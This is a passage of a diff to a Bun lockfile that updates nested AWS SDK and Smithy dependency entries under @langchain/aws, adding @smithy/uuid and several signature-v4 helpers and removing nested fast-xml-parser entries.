+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
@@ -9223,6 +8631,14 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9239,12 +8655,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -9259,14 +8679,20 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9283,12 +8709,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Z4DUr/AkgyFf1bOThW2HwzREagee0sB5ycl+hDiSZOfRLW8ZgrOjDi6g8mHH19yyU5E2A/64W3z6SMIf5XiUSQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -9303,14 +8733,20 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9361,6 +8797,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9377,18 +8815,26 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
